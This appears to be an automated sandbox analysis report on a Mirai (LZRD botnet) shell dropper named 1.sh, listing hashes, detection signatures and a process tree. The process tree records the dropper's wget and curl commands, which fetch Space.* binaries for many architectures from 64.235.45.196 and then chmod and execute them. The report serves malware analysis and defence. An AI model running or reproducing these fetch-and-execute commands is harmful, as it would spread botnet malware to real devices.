Overview

overview

10

Static

static

1

1.sh

ubuntu-18.04-amd64

10

1.sh

debian-9-armhf

10

1.sh

debian-9-mips

10

1.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    125s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    07/12/2024, 14:42

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    1.sh

  • Size

    2KB

  • MD5

    5562819bed77a9cb62743843ee3a42ba

  • SHA1

    7b3934c9807c5fa51b62ac5758f33c68015e8591

  • SHA256

    cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e

  • SHA512

    d907f11e575e06dbcf6936eeb0deaa7112eb2b063c54334c5f5fcd5cb3cb7d725419ce3dd4e9fc12c727b02fa0db090c50194638cdcbe68863ea0c7acd370611

Score
10/10
mirailzrdbotnetdefense_evasiondiscoveryupx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Mirai family
    mirai
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 28 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 28 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/1.sh
    /tmp/1.sh
    1⤵
    • Writes file to tmp directory
    PID:1497
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Writes file to tmp directory
      PID:1498
    • /usr/bin/wget
      wget http://64.235.45.196/hiddenbin/Space.arc
      2⤵
      • Writes file to tmp directory
      PID:1499
    • /usr/bin/curl
      curl -O http://64.235.45.196/hiddenbin/Space.arc
      2⤵
      • Writes file to tmp directory
      PID:1512
    • /bin/cat
      cat Space.arc
      2⤵
        PID:1513
      • /bin/chmod
        chmod +x 1.sh busybox config-err-WSc3G3 netplan_sl6cks9p snap-private-tmp Space Space.arc ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-timedated.service-ogBFyU
        2⤵
        • File and Directory Permissions Modification
        PID:1514
      • /tmp/Space
        ./Space
        2⤵
        • Executes dropped EXE
        PID:1515
      • /usr/bin/wget
        wget http://64.235.45.196/hiddenbin/Space.x86
        2⤵
        • Writes file to tmp directory
        PID:1517
      • /usr/bin/curl
        curl -O http://64.235.45.196/hiddenbin/Space.x86
        2⤵
        • Writes file to tmp directory
        PID:1518
      • /bin/cat
        cat Space.x86
        2⤵
          PID:1519
        • /bin/chmod
          chmod +x 1.sh busybox config-err-WSc3G3 netplan_sl6cks9p snap-private-tmp Space Space.arc Space.x86 ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-timedated.service-ogBFyU
          2⤵
          • File and Directory Permissions Modification
          PID:1520
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1521
        • /usr/bin/wget
          wget http://64.235.45.196/hiddenbin/Space.x86_64
          2⤵
          • Writes file to tmp directory
          PID:1527
        • /usr/bin/curl
          curl -O http://64.235.45.196/hiddenbin/Space.x86_64
          2⤵
          • Writes file to tmp directory
          PID:1528
        • /bin/chmod
          chmod +x 1.sh busybox config-err-WSc3G3 netplan_sl6cks9p snap-private-tmp Space Space.arc Space.x86 Space.x86_64 ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-timedated.service-ogBFyU
          2⤵
          • File and Directory Permissions Modification
          PID:1530
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1531
        • /usr/bin/wget
          wget http://64.235.45.196/hiddenbin/Space.i686
          2⤵
          • Writes file to tmp directory
          PID:1537
        • /usr/bin/curl
          curl -O http://64.235.45.196/hiddenbin/Space.i686
          2⤵
          • Writes file to tmp directory
          PID:1538
        • /bin/chmod
          chmod +x 1.sh busybox config-err-WSc3G3 netplan_sl6cks9p snap-private-tmp Space Space.arc Space.i686 Space.x86 Space.x86_64 ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-timedated.service-ogBFyU
          2⤵
          • File and Directory Permissions Modification
          PID:1540
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1541
        • /usr/bin/wget
          wget http://64.235.45.196/hiddenbin/Space.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1547
        • /usr/bin/curl
          curl -O http://64.235.45.196/hiddenbin/Space.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1548
        • /bin/chmod
          chmod +x 1.sh busybox config-err-WSc3G3 netplan_sl6cks9p snap-private-tmp Space Space.arc Space.i686 Space.mips Space.x86 Space.x86_64 ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-timedated.service-ogBFyU
          2⤵
          • File and Directory Permissions Modification
          PID:1550
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1551
        • /usr/bin/wget
          wget http://64.235.45.196/hiddenbin/Space.mips64
          2⤵
          • System Network Configuration Discovery
          PID:1559
        • /usr/bin/curl
          curl -O http://64.235.45.196/hiddenbin/Space.mips64
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1560
        • /bin/chmod
          chmod +x 1.sh busybox config-err-WSc3G3 netplan_sl6cks9p snap-private-tmp Space Space.arc Space.i686 Space.mips Space.mips64 Space.x86 Space.x86_64 ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP
          2⤵
          • File and Directory Permissions Modification
          PID:1562
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1563
        • /usr/bin/wget
          wget http://64.235.45.196/hiddenbin/Space.mpsl
          2⤵
          • Writes file to tmp directory
          PID:1569
        • /usr/bin/curl
          curl -O http://64.235.45.196/hiddenbin/Space.mpsl
          2⤵
          • Writes file to tmp directory
          PID:1570
        • /bin/chmod
          chmod +x 1.sh busybox config-err-WSc3G3 netplan_sl6cks9p snap-private-tmp Space Space.arc Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP
          2⤵
          • File and Directory Permissions Modification
          PID:1572
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1573
        • /usr/bin/wget
          wget http://64.235.45.196/hiddenbin/Space.arm
          2⤵
          • Writes file to tmp directory
          PID:1579
        • /usr/bin/curl
          curl -O http://64.235.45.196/hiddenbin/Space.arm
          2⤵
          • Writes file to tmp directory
          PID:1580
        • /bin/chmod
          chmod +x 1.sh busybox config-err-WSc3G3 netplan_sl6cks9p snap-private-tmp Space Space.arc Space.arm Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP
          2⤵
          • File and Directory Permissions Modification
          PID:1582
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1583
        • /usr/bin/wget
          wget http://64.235.45.196/hiddenbin/Space.arm5
          2⤵
          • Writes file to tmp directory
          PID:1589
        • /usr/bin/curl
          curl -O http://64.235.45.196/hiddenbin/Space.arm5
          2⤵
          • Writes file to tmp directory
          PID:1590
        • /bin/chmod
          chmod +x 1.sh busybox config-err-WSc3G3 netplan_sl6cks9p snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP
          2⤵
          • File and Directory Permissions Modification
          PID:1592
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1593
        • /usr/bin/wget
          wget http://64.235.45.196/hiddenbin/Space.arm6
          2⤵
          • Writes file to tmp directory
          PID:1599
        • /usr/bin/curl
          curl -O http://64.235.45.196/hiddenbin/Space.arm6
          2⤵
          • Writes file to tmp directory
          PID:1600
        • /bin/chmod
          chmod +x 1.sh busybox config-err-WSc3G3 netplan_sl6cks9p snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP
          2⤵
          • File and Directory Permissions Modification
          PID:1602
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1603
        • /usr/bin/wget
          wget http://64.235.45.196/hiddenbin/Space.arm7
          2⤵
          • Writes file to tmp directory
          PID:1609
        • /usr/bin/curl
          curl -O http://64.235.45.196/hiddenbin/Space.arm7
          2⤵
          • Writes file to tmp directory
          PID:1610
        • /bin/chmod
          chmod +x 1.sh busybox config-err-WSc3G3 netplan_sl6cks9p snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP
          2⤵
          • File and Directory Permissions Modification
          PID:1612
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1613
        • /usr/bin/wget
          wget http://64.235.45.196/hiddenbin/Space.ppc
          2⤵
          • Writes file to tmp directory
          PID:1619
        • /usr/bin/curl
          curl -O http://64.235.45.196/hiddenbin/Space.ppc
          2⤵
          • Writes file to tmp directory
          PID:1620
        • /bin/chmod
          chmod +x 1.sh busybox config-err-WSc3G3 netplan_sl6cks9p snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.x86 Space.x86_64 ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP
          2⤵
          • File and Directory Permissions Modification
          PID:1622
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1623
        • /usr/bin/wget
          wget http://64.235.45.196/hiddenbin/Space.sparc
          2⤵
            PID:1629
          • /usr/bin/curl
            curl -O http://64.235.45.196/hiddenbin/Space.sparc
            2⤵
            • Writes file to tmp directory
            PID:1630
          • /bin/chmod
            chmod +x 1.sh busybox config-err-WSc3G3 netplan_sl6cks9p snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP
            2⤵
            • File and Directory Permissions Modification
            PID:1632
          • /tmp/Space
            ./Space
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1633
          • /usr/bin/wget
            wget http://64.235.45.196/hiddenbin/Space.m68k
            2⤵
            • Writes file to tmp directory
            PID:1639
          • /usr/bin/curl
            curl -O http://64.235.45.196/hiddenbin/Space.m68k
            2⤵
            • Writes file to tmp directory
            PID:1640
          • /bin/chmod
            chmod +x 1.sh busybox config-err-WSc3G3 netplan_sl6cks9p snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP
            2⤵
            • File and Directory Permissions Modification
            PID:1642
          • /tmp/Space
            ./Space
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1643
          • /usr/bin/wget
            wget http://64.235.45.196/hiddenbin/Space.sh4
            2⤵
            • Writes file to tmp directory
            PID:1649
          • /usr/bin/curl
            curl -O http://64.235.45.196/hiddenbin/Space.sh4
            2⤵
            • Writes file to tmp directory
            PID:1650
          • /bin/chmod
            chmod +x 1.sh busybox config-err-WSc3G3 netplan_sl6cks9p snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sh4 Space.sparc Space.x86 Space.x86_64 ssh-hlYRIaBlcMzr systemd-private-aff032fe4301446191c7feed4a3fb51f-bolt.service-GFuQdq systemd-private-aff032fe4301446191c7feed4a3fb51f-colord.service-gjAwvo systemd-private-aff032fe4301446191c7feed4a3fb51f-ModemManager.service-0OKl5o systemd-private-aff032fe4301446191c7feed4a3fb51f-systemd-resolved.service-qc2DKP
            2⤵
            • File and Directory Permissions Modification
            PID:1652
          • /tmp/Space
            ./Space
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1653

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • /tmp/Space
          Filesize

          37KB

          MD5

          aec405b96527fb13ac254737c4e99388

          SHA1

          c6accf2fe5ead7e9eb8bfe46083c2c26c981a812

          SHA256

          643028ebd06ad279eaec9747223df4f8f37f8ac25dad3836d5dab7ac06ddec25

          SHA512

          cd83c16a621448a8a622987f99a4e21d12432eb7aee58354ca9ad076f2a5ed136e8726aca5ae6b759746cbd1a1f7b88ccc637b2a2a75249a954dba2fd791038c

          Download Submit

        • /tmp/Space.arc
          Filesize

          113KB

          MD5

          85a94700ab0be116bd593ba440c7a408

          SHA1

          26a4c515cbc06940c20c50d88c8910ba09fe6341

          SHA256

          b0dc38b80815fa4189ca8f3b607da6ddc060623d61696afc0bd0aaf90261de43

          SHA512

          6bc8be6c6feb701e49ab221cf5fb92d253c353d7dde98499439c861af999e42f68674e9d99dbbc688abc2bf7c02312198028605c924dc6d5ba2ef18220e42622

          Download Submit

        • /tmp/busybox
          Filesize

          2.0MB

          MD5

          b4dede5fc0b1bad5cb8e901bde126b97

          SHA1

          10cbe9a418ad84a1ed297948539d37aeb58dd810

          SHA256

          a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020

          SHA512

          45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6

          Download Submit